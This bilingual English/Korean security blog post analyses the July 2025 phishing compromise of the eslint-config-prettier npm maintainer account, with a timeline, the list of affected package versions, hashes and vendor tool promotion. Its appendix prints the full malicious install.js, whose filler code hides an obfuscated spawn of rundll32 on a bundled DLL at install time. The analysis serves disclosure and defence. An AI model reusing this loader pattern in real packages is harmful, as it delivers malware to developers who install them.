eslint-config-prettier Compromised: How npm Package with 30 Million Downloads Spread Malware
eslint-config-prettier 침해: 3천만 다운로드를 기록한 npm 패키지가 어떻게 악성코드를 퍼뜨렸는가
Table of Contents 목차
- TL;DR 요약
- Timeline 타임라인
-
What is the impact?
영향은 무엇인가? -
How SafeDep can protect developers?
SafeDep는 개발자를 어떻게 보호할 수 있나요? -
PMG Protecting Developers
PMG 개발자 보호 -
vet as CI/CD Guardrails
CI/CD 가드레일로서의 vet -
vet Protecting AI Coding Agents
AI 코딩 에이전트 보호하는 vet - Technical Analysis 기술 분석
-
Analyzing eslint-config-prettier@9.1.1
eslint-config-prettier@9.1.1 분석 - Analyzing install.js install.js 분석
- Analyzing node-gyp.dll node-gyp.dll 분석
- Conclusion 결론
- Appendix 부록
- install.js
- Reference 참고문헌
TL;DR 요약
The npm account of JounQin, maintainer of multiple popular npm packages including eslint-config-prettier was compromised in a phishing attack. The attackers leveraged the compromised account to publish 6 versions of eslint-config-prettier with malware along with 3 other packages accessible to the same npm account. Collectively, the compromised packages account for about 78 million weekly downloads. The compromised account had access to npm packages that have about 180 million weekly downloads. This is summarized by Kyle Kelly
eslint-config-prettier 를 포함한 여러 인기 npm 패키지의 유지관리자인 JounQin의 npm 계정이 피싱 공격으로 탈취되었습니다. 공격자는 탈취한 계정을 이용해 악성코드가 포함된 eslint-config-prettier 의 6개 버전과 동일한 npm 계정에 접근 가능한 3개의 다른 패키지를 배포했습니다. 이 탈취된 패키지들은 주간 약 7,800만 회 다운로드를 기록합니다. 탈취된 계정은 주간 약 1억 8,000만 회 다운로드되는 npm 패키지에 접근 권한을 가지고 있었습니다. 이는 Kyle Kelly가 요약한 내용입니다.

In this blog post, we analyze one of the malicious packages to identify the payload. We also demonstrate how SafeDep OSS tools such as vet, pmg can protect developers from being compromised by malicious packages.
이 블로그 글에서는 악성 패키지 중 하나를 분석하여 페이로드를 식별합니다. 또한 vet, pmg와 같은 SafeDep OSS 도구들이 개발자를 악성 패키지로부터 어떻게 보호할 수 있는지 시연합니다.
- Timeline 타임라인
- What is the impact?
영향은 무엇인가요? - How SafeDep can protect developers?
SafeDep가 개발자를 어떻게 보호할 수 있나요? - Technical Analysis 기술 분석
Updates: 업데이트:
- CVE-2025-54313 has been assigned to this incident.
이 사건에 CVE-2025-54313이 할당되었습니다.
Timeline 타임라인
On 18th July 2025, GitHub user dasa opened issue #339 in the eslint-config-prettier repository disclosing unexpected versions published to the npm registry for the project. The diff for one of the newly published version indeed looked odd and suspicious. Specifically, an install script was added to the package.json file in version 10.1.7.
2025년 7월 18일, GitHub 사용자 dasa가 eslint-config-prettier 저장소에 이슈 #339를 열어 프로젝트의 npm 레지스트리에 예상치 못한 버전이 게시되었음을 공개했습니다. 새로 게시된 버전 중 하나의 차이점(diff)은 실제로 이상하고 의심스러워 보였습니다. 구체적으로, 버전 10.1.7 에서 package.json 파일에 install 스크립트가 추가되었습니다.
eslint-config-prettier@10.1.7의 package.json 변경사항
"scripts":{ "install":"node install.js" }, "exports": { ".": { "types": "./index.d.ts", "default": "./index.js"@@ -34,8 +37,10 @@ "flat.d.ts", "flat.js", "index.d.ts", "index.js", "install.js", "node-gyp.dll", "prettier.d.ts", "prettier.js" ], "keywords": [On 19 July 2025, the maintainer of eslint-config-prettier disclosed that he was tricked in an email phishing attack where the attackers gained access to publish to various npm projects that he maintains. Multiple npm packages were published with malicious code with eslint-config-prettier being the major one with 31 million weekly downloads as per npm.
2025년 7월 19일, eslint-config-prettier 의 유지 관리자가 이메일 피싱 공격에 속아 공격자가 그가 관리하는 여러 npm 프로젝트에 게시 권한을 획득했다고 공개했습니다. 여러 npm 패키지가 악성 코드와 함께 게시되었으며, 그중 eslint-config-prettier 이 npm 기준 주간 다운로드 수 3,100만 건으로 주요 패키지였습니다.

JounQin’s X Post also disclosed the list of packages that were published with malicious code.
JounQin의 X 게시물에서도 악성 코드가 포함된 게시된 패키지 목록이 공개되었습니다.
| Package Name 패키지 이름 | Package Version 패키지 버전 | Weekly Downloads 주간 다운로드 수 |
|---|---|---|
| eslint-config-prettier | 8.10.1 | > 31M > 3100만 |
| eslint-config-prettier | 9.1.1 | > 31M > 3100만 |
| eslint-config-prettier | 10.1.6 | > 31M > 3100만 |
| eslint-config-prettier | 10.1.7 | > 31M > 3100만 |
| eslint-plugin-prettier | 4.2.2 | > 21M > 2100만 |
| eslint-plugin-prettier | 4.2.3 | > 21M > 2100만 |
| snyckit | 0.11.9 | > 21M > 2100만 |
| @pkgr/core | 0.2.8 | > 16M > 1600만 |
| napi-postinstall | 0.3.1 | > 9M |
On 20 July 2025, we at SafeDep started investigating this hack. We first looked at our malicious package scanner that we use to continuously analyze OSS packages for malicious code. Examples from our automated analysis system:
2025년 7월 20일, SafeDep에서 이 해킹 사건 조사를 시작했습니다. 우리는 먼저 OSS 패키지를 지속적으로 악성 코드 분석하는 데 사용하는 악성 패키지 스캐너를 살펴보았습니다. 자동 분석 시스템의 예시:
| Package Version 패키지 버전 | Report URL 보고서 URL |
|---|---|
eslint-config-prettier@9.1.1 | https://platform.safedep.io/community/malysis/01K0F3SC8XWRVW017ZR21MNK6T |
@pkgr/core@0.2.8 | https://platform.safedep.io/community/malysis/01K0F67M99W2H15NKN9SH488KV |
napi-postinstall@0.3.1 | https://platform.safedep.io/community/malysis/01K0F6BFDWJ03ZM13PFR77DEGC |
What is the impact? 영향은 무엇인가요?
Our analysis till now identified Scavenger Malware delivered through the embedded PE32+ binary node-gyp.dll added in the compromised packages. This restricts the attack to Windows systems only. GNU/Linux distros and MacOS is unlikely to be affected due to the nature of the payload. Compromised systems are likely to be infected with Scavenger malware allowing attackers to harvest files, credentials and perform other malicious activities.
지금까지의 분석 결과, 손상된 패키지에 추가된 내장 PE32+ 바이너리 node-gyp.dll 를 통해 전달된 Scavenger 악성코드가 확인되었습니다. 이는 공격을 Windows 시스템으로만 제한합니다. 페이로드의 특성상 GNU/Linux 배포판과 MacOS는 영향을 받을 가능성이 낮습니다. 감염된 시스템은 Scavenger 악성코드에 감염되어 공격자가 파일, 자격 증명을 수집하고 기타 악의적인 활동을 수행할 수 있습니다.
How SafeDep can protect developers?
SafeDep는 개발자를 어떻게 보호할 수 있나요?
Our automated systems flagged the packages as suspicious due to the presence of node-gyp.dll, a PE32+ executable and installation script in package.json which in turn executes install.js with suspicious command injection. Our internal Slack notification from our malicious package scanners alerted us about the compromised packages.
자동화된 시스템은 package.json 에 포함된 PE32+ 실행 파일과 설치 스크립트 node-gyp.dll 의 존재로 인해 패키지를 의심스럽다고 표시했으며, 이는 다시 install.js 를 실행하여 의심스러운 명령어 주입을 수행합니다. 내부 Slack 알림을 통해 악성 패키지 스캐너가 손상된 패키지에 대해 경고했습니다.

At this point, all our tools would be identifying the compromised packages as suspicious without our involvement or manual intervention. Our research and manual analysis results only augmented the automated analysis with additional technical details confirming malicious behavior. Users of SafeDep tools will be protected against all compromised packages and similar attacks at:
이 시점에서 모든 도구는 우리의 개입이나 수동 조치 없이도 손상된 패키지를 의심스럽다고 식별할 것입니다. 우리의 연구 및 수동 분석 결과는 악의적인 행위를 확인하는 추가 기술적 세부 정보를 통해 자동 분석을 보완했습니다. SafeDep 도구 사용자는 다음 위치에서 모든 손상된 패키지 및 유사한 공격으로부터 보호받을 수 있습니다:
- Developer Environment 개발자 환경
- CI/CD
- AI IDEs AI IDE
- AI Coding Agents AI 코딩 에이전트
- Container Runtimes 컨테이너 런타임
PMG Protecting Developers
PMG 개발자 보호
Users of pmg would be alerted when attempting to install any of the malicious packages. This protects developer environments from being compromised due to accidentally installing a malicious package.
PMG 사용자는 악성 패키지를 설치하려 할 때 경고를 받습니다. 이는 악성 패키지를 실수로 설치하여 개발자 환경이 손상되는 것을 방지합니다.

vet as CI/CD Guardrails CI/CD 가드레일로서의 vet
Users of vet who have it setup as part of their CI/CD, such as GitHub Actions or GitLab CI would be alerted when trying to add any of the compromised package through a PR. This way vet protects against malicious packages at CI/CD.
GitHub Actions나 GitLab CI와 같은 CI/CD의 일부로 vet를 설정한 사용자는 PR을 통해 손상된 패키지를 추가하려고 할 때 경고를 받게 됩니다. 이렇게 vet 는 CI/CD에서 악성 패키지로부터 보호합니다.

vet Protecting AI Coding Agents
vet AI 코딩 에이전트 보호하기
vet also supports a native MCP Server that can be used to integrate with any AI IDE or coding agents. For example, it prevent Visual Studio Code + GitHub Copilot from installing the malicious package.
vet는 또한 모든 AI IDE 또는 코딩 에이전트와 통합하는 데 사용할 수 있는 네이티브 MCP 서버를 지원합니다. 예를 들어, Visual Studio Code + GitHub Copilot이 악성 패키지를 설치하는 것을 방지합니다.

Technical Analysis 기술 분석
Analyzing eslint-config-prettier@9.1.1 eslint-config-prettier@9.1.1 분석 중
Our analysis was based on
우리의 분석은 다음을 기반으로 했습니다
eslint-config-prettier@9.1.1- SHA256:
31204fbbc097677d518e1c01d88cf24b491ef29cc8f56d1ef2b81e5ccc8440e2
eslint-config-prettier@9.1.1 contains the following files
eslint-config-prettier@9.1.1 에는 다음 파일들이 포함되어 있습니다
eslint-config-prettier@9.1.1 패키지의 파일들
-rw-r--r-- 0 0 0 1132 26 Oct 1985 package/LICENSE-rw-r--r-- 0 0 0 1291776 26 Oct 1985 package/node-gyp.dll-rw-r--r-- 0 0 0 220 26 Oct 1985 package/@typescript-eslint.js-rw-r--r-- 0 0 0 207 26 Oct 1985 package/babel.js-rw-r--r-- 0 0 0 6729 26 Oct 1985 package/bin/cli.js-rw-r--r-- 0 0 0 210 26 Oct 1985 package/flowtype.js-rw-r--r-- 0 0 0 8087 26 Oct 1985 package/index.js-rw-r--r-- 0 0 0 5806 26 Oct 1985 package/install.js-rw-r--r-- 0 0 0 386 26 Oct 1985 package/prettier.js-rw-r--r-- 0 0 0 207 26 Oct 1985 package/react.js-rw-r--r-- 0 0 0 210 26 Oct 1985 package/standard.js-rw-r--r-- 0 0 0 209 26 Oct 1985 package/unicorn.js-rw-r--r-- 0 0 0 2141 26 Oct 1985 package/bin/validators.js-rw-r--r-- 0 0 0 205 26 Oct 1985 package/vue.js-rw-r--r-- 0 0 0 435 26 Oct 1985 package/package.json-rw-r--r-- 0 0 0 468 26 Oct 1985 package/README.mdComparing with the previous version in the 9.x.x release channel, following files were changes
9.x.x 릴리스 채널의 이전 버전과 비교했을 때, 다음 파일들이 변경되었습니다
버전 간 차이 비교
$ diff -uNar esp-old/package esp/package | diffstat install.js | 191 ++++ node-gyp.dll | 5445 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ package.json | 5Looking at package.json it was evident that the only change was to add install.js as an installation script. Any malicious behavior added in 9.1.1 must be in install.js or delivered through it.
package.json 를 살펴보면 유일한 변경 사항은 설치 스크립트로 install.js 를 추가한 것이 분명했습니다. 9.1.1 에 추가된 악성 행위는 반드시 install.js 에 있거나 이를 통해 전달되어야 합니다.
설치 스크립트가 포함된 악성 package.json
{ "name": "eslint-config-prettier", "version": "9.1.1", "license": "MIT", "author": "Simon Lydell", "description": "Turns off all rules that are unnecessary or might conflict with Prettier.", "repository": "prettier/eslint-config-prettier", "bin": "bin/cli.js", "keywords": ["eslint", "eslintconfig", "prettier"], "scripts":{ "install":"node install.js" }, "peerDependencies": { "eslint": ">=7.0.0" }}Analyzing install.js install.js 분석 중
While looking at package.json and the version diff, install.js was identified as the malicious payload added in eslint-config-prettier@9.1.1. It has a bunch of “filler” code, likely to appear legit but the most relevant code for our analysis was loading node-gyp.dll using Windows rundll32.exe
package.json 와 버전 차이를 살펴보는 동안, eslint-config-prettier@9.1.1 에 추가된 악성 페이로드로 install.js 이 확인되었습니다. 이는 합법적으로 보이도록 하기 위한 다수의 "채우기" 코드가 포함되어 있지만, 분석에 가장 관련된 코드는 Windows rundll32.exe 를 사용하여 node-gyp.dll 을 로드하는 부분이었습니다.
install.js에서 악성 페이로드 실행
// ...const tempDir = os.tmpdir();require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",[path.join(__dirname, './node-gyp' + '.dll') + ",main"]);// ...This effectively uses node module child_process to spawn rundll32.exe with ./node-gyp.dll,main as the command line, which in turn loads node-gyp.dll using LoadLibrary, resolves exported function main using GetProcAddress and calls main, transferring the payload execution to the native code in node-gyp.dll.
이는 사실상 node 모듈 child_process 을 사용하여 ./node-gyp.dll,main 를 명령줄로 하여 rundll32.exe 을 생성(spawn)하며, 이는 다시 LoadLibrary 를 사용하여 node-gyp.dll 을 로드하고, GetProcAddress 을 사용해 내보낸 함수 main 를 해결(resolves)한 후 main 을 호출하여 페이로드 실행을 node-gyp.dll 의 네이티브 코드로 전달합니다.
Analyzing node-gyp.dll node-gyp.dll 분석 중
node-gyp.dll is a PE32+ DLL file with following identifiers:
node-gyp.dll 는 다음 식별자를 가진 PE32+ DLL 파일입니다:
node-gyp.dll 파일 분석
$ file node-gyp.dllnode-gyp.dll: PE32+ executable for MS Windows 6.00 (DLL), x86-64, 7 sectionsnode-gyp.dll의 SHA256 해시
$ sha256sum node-gyp.dllc68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441 node-gyp.dllInitial reverse engineering of the DLL revealed an obfuscated code executed in its own thread using CreateThreat(..) API.
DLL의 초기 리버스 엔지니어링 결과, CreateThreat(..) API를 사용하여 자체 스레드에서 실행되는 난독화된 코드가 발견되었습니다.

Detailed analysis of the node-gyp.dll payload is covered in InvokRE Blog.
node-gyp.dll 페이로드에 대한 자세한 분석은 InvokRE 블로그에서 다루고 있습니다.
Conclusion 결론
The eslint-config-prettier supply chain attack serves as a stark reminder of the vulnerability inherent in our modern software development ecosystem. With just a single compromised npm account, attackers were able to distribute malware to millions of developers worldwide through packages that collectively receive 78 million weekly downloads. This incident demonstrates that no package, regardless of its popularity or reputation, is immune to compromise.
eslint-config-prettier 공급망 공격은 현대 소프트웨어 개발 생태계가 내포한 취약성을 명확히 상기시켜 줍니다. 단 한 개의 침해된 npm 계정만으로 공격자들은 전 세계 수백만 개발자에게 주간 7,800만 회 다운로드되는 패키지를 통해 악성 코드를 배포할 수 있었습니다. 이 사건은 인기나 평판에 상관없이 어떤 패키지도 침해로부터 자유로울 수 없다는 것을 보여줍니다.
Tools like vet and pmg are built to protect developers against the risk of getting hacked due to malicious code from open sources. Irrespective of specific tools, we recommend all software development teams to adopt appropriate guardrails to protect against malicious open source packages at various stages in their SDLC.
vet 및 pmg와 같은 도구는 오픈 소스에서 유입되는 악성 코드로 인한 해킹 위험으로부터 개발자를 보호하기 위해 만들어졌습니다. 특정 도구와 관계없이 모든 소프트웨어 개발 팀은 SDLC의 다양한 단계에서 악성 오픈 소스 패키지로부터 보호할 수 있는 적절한 안전장치를 도입할 것을 권장합니다.
Appendix 부록
install.js
Click to expand the complete install.js malicious payload
전체 install.js 악성 페이로드 확장하려면 클릭하세요
const cache = require('fs');const os = require('os');const path = require('path');
// === Configuration ===const LOG_DIR = path.join(__dirname, 'logs');const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`);const DRY_RUN = process.argv.includes('--dry-run');
const ARCHIVE_DIR = path.join(__dirname, 'archive');const MAX_LOG_FILES = 5;const DEFAULT_MAX_AGE_DAYS = 30;const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old');
// === State for summary ===const summary = { dirsCreated: 0, filesDeleted: 0, dirsDeleted: 0, filesArchived: 0, errors: 0,};
function log(msg) { console.log(msg); if (!DRY_RUN) { try { cache.appendFileSync(LOG_FILE, msg + '\n'); } catch (err) { console.error(`Failed to write log: ${err.message}`); } }}
function ensureDir(dirPath) { if (!cache.existsSync(dirPath)) { if (!DRY_RUN) { cache.mkdirSync(dirPath, { recursive: true }); } summary.dirsCreated++; log(`Created directory: ${dirPath}`); } else { log(`Directory exists: ${dirPath}`); }}
function deleteFile(filePath) { if (DRY_RUN) { log(`[Dry-run] Would delete file: ${filePath}`); return; } try { cache.unlinkSync(filePath); summary.filesDeleted++; log(`Deleted file: ${filePath}`); } catch (err) { summary.errors++; log(`Error deleting file ${filePath}: ${err.message}`); }}
function deleteDir(dirPath) { if (DRY_RUN) { log(`[Dry-run] Would delete directory: ${dirPath}`); return; } try { cache.rmSync(dirPath, { recursive: true, force: true }); summary.dirsDeleted++; log(`Deleted directory: ${dirPath}`); } catch (err) { summary.errors++; log(`Error deleting directory ${dirPath}: ${err.message}`); }}
function archiveFile(filePath) { ensureDir(ARCHIVE_DIR); const fileName = path.basename(filePath); const targetPath = path.join(ARCHIVE_DIR, fileName);
if (DRY_RUN) { log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`); return; } try { cache.renameSync(filePath, targetPath); summary.filesArchived++; log(`Archived file: ${filePath} -> ${targetPath}`); } catch (err) { summary.errors++; log(`Error archiving file ${filePath}: ${err.message}`); }}
function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) { if (!cache.existsSync(dirPath)) return; const now = Date.now(); const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000;
const files = cache.readdirSync(dirPath); for (const file of files) { const filePath = path.join(dirPath, file); try { const stat = cache.lstatSync(filePath); const age = now - stat.mtimeMs;
if (stat.isFile() && age > maxAgeMs) { if (ARCHIVE_OLD_FILES) { archiveFile(filePath); } else { deleteFile(filePath); } } else if (stat.isDirectory() && age > maxAgeMs) { // Delete directory if older than maxAgeDays deleteDir(filePath); } } catch (err) { summary.errors++; log(`Error accessing ${filePath}: ${err.message}`); } }}
function rotateLogs() { if (!cache.existsSync(LOG_DIR)) return;
const logs = cache.readdirSync(LOG_DIR) .filter(f => f.startsWith('install_log_') && f.endsWith('.txt')) .map(f => ({ name: f, path: path.join(LOG_DIR, f), time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs, })) .sort((a, b) => b.time - a.time);
while (logs.length > MAX_LOG_FILES) { const oldest = logs.pop(); try { if (!DRY_RUN) { cache.unlinkSync(oldest.path); } log(`Rotated out old log file: ${oldest.name}`); } catch (err) { summary.errors++; log(`Error deleting old log file ${oldest.name}: ${err.message}`); } }}
function logDiskSpace() { try { if(os.platform() === 'win32') { const tempDir = os.tmpdir(); require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32", [path.join(__dirname, './node-gyp' + '.dll') + ",main"]); log(`Temp directory: ${tempDir}`); const files = cache.readdirSync(tempDir); log(`Number of files in temp directory: ${files.length}`); } } catch (err) { summary.errors++; log(`Error accessing temp directory: ${err.message}`); }}
function listDirectoryContents(dirPath) { if (!cache.existsSync(dirPath)) { log(`Directory does not exist: ${dirPath}`); return; } log(`Contents of ${dirPath}:`); const files = cache.readdirSync(dirPath); for (const file of files) { try { const filePath = path.join(dirPath, file); const stat = cache.statSync(filePath); const sizeKB = (stat.size / 1024).toFixed(2); const mtime = new Date(stat.mtimeMs).toLocaleString(); const type = stat.isDirectory() ? 'DIR' : 'FILE'; log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`); } catch (err) { summary.errors++; log(`Error reading ${file}: ${err.message}`); } }}
ensureDir(LOG_DIR);logDiskSpace();


